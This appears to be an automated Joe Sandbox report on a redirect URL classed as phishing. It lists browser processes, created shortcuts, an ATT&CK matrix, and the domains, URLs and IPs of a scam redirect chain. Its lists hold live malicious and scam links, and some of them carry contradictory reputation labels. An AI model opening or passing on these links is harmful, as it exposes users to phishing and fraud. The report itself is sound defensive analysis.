Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: classification engine

Classification label: mal76.phis.win@24/122@48/17

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1932,i,17864858847609454977,4056192639238687891,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1932,i,17864858847609454977,4056192639238687891,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://cdn.x1cdn.com/bh/fr/i1/1/images/check-icn.svg);	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/app/desktop/js/bootstrap.bundle.min.js	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/1.jpg	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/app/desktop/css/popup.css	0%	Avira URL Cloud	safe
http://vwi46h7.terraclicks.click/favicon.ico	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/bg.png	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/2.jpg	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/app/desktop/css02/bootstrap.min.css	0%	Avira URL Cloud	safe
https://event.trk-quantivex.com/register/event_log/64d519qjgj	0%	Avira URL Cloud	safe
https://duennasustentation.online/css/style.css	0%	Avira URL Cloud	safe
https://duennasustentation.online/favicon.ico	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/app/desktop/images/secure2.png	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/3.jpg	0%	Avira URL Cloud	safe
https://as6asdas54k.com/tracking/271/10/?subAff=1168&sub1=20259&sub2=e74551e5a4b843d1ad97991e1e3d8dd9	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/4.jpg	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/assets/css/app.css	0%	Avira URL Cloud	safe
https://www.nrj1hs34m.com/FNX4R/31X75W/?sub1=1168&sub2=20259&sub3=6f473a6e83ea434a9eb5d559373bb682&sub5=	100%	Avira URL Cloud	malware
https://www.chargeswiftpath.online/new/67234/app/desktop/css02/tosPop.css	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/5.jpg	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/app/desktop/images/secure1.png	0%	Avira URL Cloud	safe
https://cdn.x1cdn.com/bh/fr/ip/https://cdn.x1cdn.com/bh/fr/s10/1/https://cdn.x1cdn.com/bh/fr/i1/1/im	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/app/desktop/css02/index.css	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/product.png	0%	Avira URL Cloud	safe
https://trk-quantivex.com/scripts/push/script/64d5p99gj0?url=duennasustentation.online	0%	Avira URL Cloud	safe
https://trk-quantivex.com/scripts/push/script/64d5p99gj0?url=	0%	Avira URL Cloud	safe
https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756	0%	Avira URL Cloud	safe
https://duennasustentation.online/css/animate.min.css	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/comm_pic_2.jpg	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/dynamic_lander_images/1720460577_1715789481_Dewalt%20Drill.png	0%	Avira URL Cloud	safe
https://www.hypecataloguehub.com/t/7/z/?affid=10&c1=1168&c2=20259&c3=614ced2708834ecea465b27492f3acf5&c4=&c5=dwltdrill&click_id=542fb03cac6b436e9ab8913ce7140432	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/prize1.png	0%	Avira URL Cloud	safe
https://grizzlyprize.is/tracking/276/10/?subAff=1168&sub1=20259&sub2=3b7057e5c5a04afda410a207a8e334fc	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/app/desktop/css02/common.css	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/flaglogo.png	0%	Avira URL Cloud	safe
https://www.captureclickspath.com/cmp/2SFN28H/36LZDZ2/	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/comm_pic_1.jpg	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/ajax.php/extensions/checktrafficnew/place	0%	Avira URL Cloud	safe
https://cdn.x1cdn.com/bh/en/ps5/1/https://cdn.x1cdn.com/bh/fr/i1/1/images/bg1.jpg)	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/app/desktop/images/secure3.png	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/f_secure_1.png	0%	Avira URL Cloud	safe
https://as6asdas54k.com/tracking/271/10/?subAff=1168&sub1=20259&sub2=614ced2708834ecea465b27492f3acf5	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/logo.png	0%	Avira URL Cloud	safe
https://duennasustentation.online/service-worker.js	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/assets/dist/codebase.min.js	0%	Avira URL Cloud	safe
https://www.chargeswiftpath.online/new/67234/ajax.php/extensions/checktrafficnew/initialize	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/f_guarantee.png	0%	Avira URL Cloud	safe
https://duennasustentation.online/js/script.js	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/logo2.png	0%	Avira URL Cloud	safe
https://duennasustentation.online/MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com	0%	Avira URL Cloud	safe
https://duennasustentation.online/images/loadingRD.gif	0%	Avira URL Cloud	safe
https://duennasustentation.online/js/datehead.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
www.chargeswiftpath.online	188.114.97.3	true	false	high
event.trk-quantivex.com	172.67.156.201	true	false	high
as6asdas54k.com	172.67.174.48	true	false	high
www.clicknloader.com	188.114.97.3	true	false	high
secureanalytic.com	188.114.97.3	true	false	high
vwi46h7.terraclicks.click	67.198.205.87	true	true	unknown
duennasustentation.online	104.21.28.45	true	false	high
www.hypecataloguehub.com	172.67.185.221	true	false	unknown
grizzlyprize.is	188.114.97.3	true	false	unknown
www.loadurl24.com	172.67.183.92	true	false	unknown
trk-quantivex.com	104.21.13.162	true	false	high
www.biggestspinwins.com	188.114.96.3	true	false	unknown
www.nrj1hs34m.com	34.149.120.191	true	false	high
www.google.com	142.250.185.196	true	false	high
use.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://duennasustentation.online/images/1.jpg	true	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/app/desktop/js/bootstrap.bundle.min.js	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/app/desktop/css/popup.css	false	Avira URL Cloud: safe	unknown
https://www.clicknloader.com/2W1Q1KK/2G76N4GF/?sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&source_id=20259&sub5=101311	false		high
https://duennasustentation.online/css/style.css	true	Avira URL Cloud: safe	unknown
http://vwi46h7.terraclicks.click/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/app/desktop/css02/bootstrap.min.css	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/bg.png	true	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/2.jpg	true	Avira URL Cloud: safe	unknown
https://event.trk-quantivex.com/register/event_log/64d519qjgj	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/assets/css/app.css	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/app/desktop/images/secure2.png	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/3.jpg	true	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/4.jpg	true	Avira URL Cloud: safe	unknown
https://as6asdas54k.com/tracking/271/10/?subAff=1168&sub1=20259&sub2=e74551e5a4b843d1ad97991e1e3d8dd9	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/app/desktop/css02/tosPop.css	false	Avira URL Cloud: safe	unknown
https://www.nrj1hs34m.com/FNX4R/31X75W/?sub1=1168&sub2=20259&sub3=6f473a6e83ea434a9eb5d559373bb682&sub5=	false	Avira URL Cloud: malware	unknown
https://duennasustentation.online/favicon.ico	true	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/5.jpg	true	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/app/desktop/images/secure1.png	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/product.png	true	Avira URL Cloud: safe	unknown
https://trk-quantivex.com/scripts/push/script/64d5p99gj0?url=duennasustentation.online	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	true		unknown
https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756	false	Avira URL Cloud: safe	unknown
https://secureanalytic.com/scripts/sw/script/64d5p99gj0?url=duennasustentation.online	false		high
https://www.chargeswiftpath.online/new/67234/app/desktop/css02/index.css	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/css/animate.min.css	true	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/dynamic_lander_images/1720460577_1715789481_Dewalt%20Drill.png	false	Avira URL Cloud: safe	unknown
https://secureanalytic.com/scripts/ext/script/64d5p99gj0?url=duennasustentation.online	false		high
https://duennasustentation.online/images/comm_pic_2.jpg	true	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=FQ8ewzKVM7rtDdMxYfQ8LGGFL%2FnsZhRXL0RKtcAUGjfNP%2BM0xGA4XNP40cP9yh0TfkvIYGHP1yi3AvCxcPt%2BggOavqV514LbrgkWm2o3TWOv56n%2BzJOdRNkGSkqRmx2wMwLDM3yQHVXqVRYS	false		high
https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com	false		unknown
https://www.hypecataloguehub.com/t/7/z/?affid=10&c1=1168&c2=20259&c3=614ced2708834ecea465b27492f3acf5&c4=&c5=dwltdrill&click_id=542fb03cac6b436e9ab8913ce7140432	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/app/desktop/css02/common.css	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/flaglogo.png	true	Avira URL Cloud: safe	unknown
https://www.clicknloader.com/cmp/223GDT1/3LHNZD/?source_id=20259&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272	false		high
https://duennasustentation.online/images/prize1.png	true	Avira URL Cloud: safe	unknown
https://grizzlyprize.is/tracking/276/10/?subAff=1168&sub1=20259&sub2=3b7057e5c5a04afda410a207a8e334fc	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/ajax.php/extensions/checktrafficnew/place	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/comm_pic_1.jpg	true	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/app/desktop/images/secure3.png	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/f_secure_1.png	true	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=LZqWB%2Ft28Dfx8PHyOgMrCAJiV7uVo8gcrbno95MM9mW7k9xzsCON4hDF5pIGdicEvBrAOvFeVoVnfuuuYTXIUSdzeHZZAtg%2Bl2YquPnkuHEq%2B7Fi0XRTzlsxdty1xnAsW2o%3D	false		high
https://duennasustentation.online/images/logo.png	true	Avira URL Cloud: safe	unknown
https://duennasustentation.online/service-worker.js	true	Avira URL Cloud: safe	unknown
https://as6asdas54k.com/tracking/271/10/?subAff=1168&sub1=20259&sub2=614ced2708834ecea465b27492f3acf5	false	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/assets/dist/codebase.min.js	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/js/script.js	true	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/f_guarantee.png	true	Avira URL Cloud: safe	unknown
https://www.chargeswiftpath.online/new/67234/ajax.php/extensions/checktrafficnew/initialize	false	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/logo2.png	true	Avira URL Cloud: safe	unknown
http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	false		unknown
https://duennasustentation.online/MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com	true	Avira URL Cloud: safe	unknown
https://duennasustentation.online/images/loadingRD.gif	true	Avira URL Cloud: safe	unknown
http://vwi46h7.terraclicks.click/t/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	false		unknown
https://duennasustentation.online/js/datehead.js	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cdn.x1cdn.com/bh/fr/i1/1/images/check-icn.svg);	chromecache_123.1.dr	false	Avira URL Cloud: safe	unknown
http://jquery.org/license	chromecache_133.1.dr	false		high
http://sizzlejs.com/	chromecache_133.1.dr	false		high
https://fontawesome.com/license/free	chromecache_104.1.dr, chromecache_144.1.dr, chromecache_150.1.dr	false		high
https://fontawesome.com	chromecache_104.1.dr, chromecache_144.1.dr, chromecache_150.1.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_164.1.dr, chromecache_103.1.dr	false		high
https://secureanalytic.com/scripts/ext/script/64d5p99gj0?url=	chromecache_161.1.dr	false		high
https://cdn.x1cdn.com/bh/fr/ip/https://cdn.x1cdn.com/bh/fr/s10/1/https://cdn.x1cdn.com/bh/fr/i1/1/im	chromecache_123.1.dr	false	Avira URL Cloud: safe	unknown
https://trk-quantivex.com/scripts/push/script/64d5p99gj0?url=	chromecache_163.1.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_164.1.dr, chromecache_170.1.dr, chromecache_103.1.dr	false		high
https://use.fontawesome.com/releases/v5.15.4/js/all.js	chromecache_163.1.dr	false		high
http://opensource.org/licenses/MIT	chromecache_120.1.dr	false		high
https://animate.style/	chromecache_120.1.dr	false		high
https://www.captureclickspath.com/cmp/2SFN28H/36LZDZ2/	chromecache_163.1.dr	true	Avira URL Cloud: safe	unknown
https://getbootstrap.com/)	chromecache_164.1.dr, chromecache_170.1.dr, chromecache_103.1.dr	false		high
https://cdn.x1cdn.com/bh/en/ps5/1/https://cdn.x1cdn.com/bh/fr/i1/1/images/bg1.jpg)	chromecache_123.1.dr	false	Avira URL Cloud: safe	unknown
https://secureanalytic.com/scripts/sw/script/64d5p99gj0?url=	chromecache_161.1.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_112.1.dr, chromecache_133.1.dr	false		high
https://github.com/RobinHerbots/Inputmask	chromecache_112.1.dr, chromecache_133.1.dr	false		high
http://jquery.com/	chromecache_112.1.dr, chromecache_133.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.174.48	as6asdas54k.com	United States	13335	CLOUDFLARENETUS	false
172.67.185.221	www.hypecataloguehub.com	United States	13335	CLOUDFLARENETUS	false
172.67.156.201	event.trk-quantivex.com	United States	13335	CLOUDFLARENETUS	false
172.67.183.92	www.loadurl24.com	United States	13335	CLOUDFLARENETUS	false
104.21.13.162	trk-quantivex.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
67.198.205.87	vwi46h7.terraclicks.click	United States	35908	VPLSNETUS	true
104.21.28.45	duennasustentation.online	United States	13335	CLOUDFLARENETUS	false
172.67.144.59	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	www.chargeswiftpath.online	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	www.biggestspinwins.com	European Union	13335	CLOUDFLARENETUS	false
34.149.120.191	www.nrj1hs34m.com	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.16
192.168.2.13
192.168.2.14

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585977
Start date and time:	2025-01-08 15:43:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@24/122@48/17

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 172.217.18.14, 64.233.184.84, 142.250.185.238, 142.250.184.206, 199.232.210.172, 172.67.142.245, 104.21.27.152, 142.250.185.170, 172.217.18.10, 142.250.186.170, 142.250.184.234, 216.58.212.170, 142.250.185.74, 142.250.185.234, 142.250.185.138, 216.58.206.74, 142.250.185.202, 142.250.181.234, 142.250.184.202, 142.250.186.42, 216.58.206.42, 142.250.185.106, 172.217.16.202, 142.250.185.142, 142.250.184.238, 142.250.185.131, 142.250.185.206, 172.217.16.206, 142.250.186.106, 142.250.186.138, 142.250.186.74, 172.217.16.138, 23.56.254.164, 20.12.23.50
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, use.fontawesome.com.cdn.cloudflare.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9

Input	Output
URL: http://vwi46h7.terraclicks.click Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: http://vwi46h7.terraclicks.click
URL: https://www.chargeswiftpath.online/new/67234/?affI... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a configuration object for an application, containing various settings and parameters. While it includes some potentially sensitive information like a CSRF token and allowed country codes, there are no clear indicators of malicious behavior or data exfiltration. The snippet seems to be part of a legitimate application and does not exhibit any high-risk characteristics." }
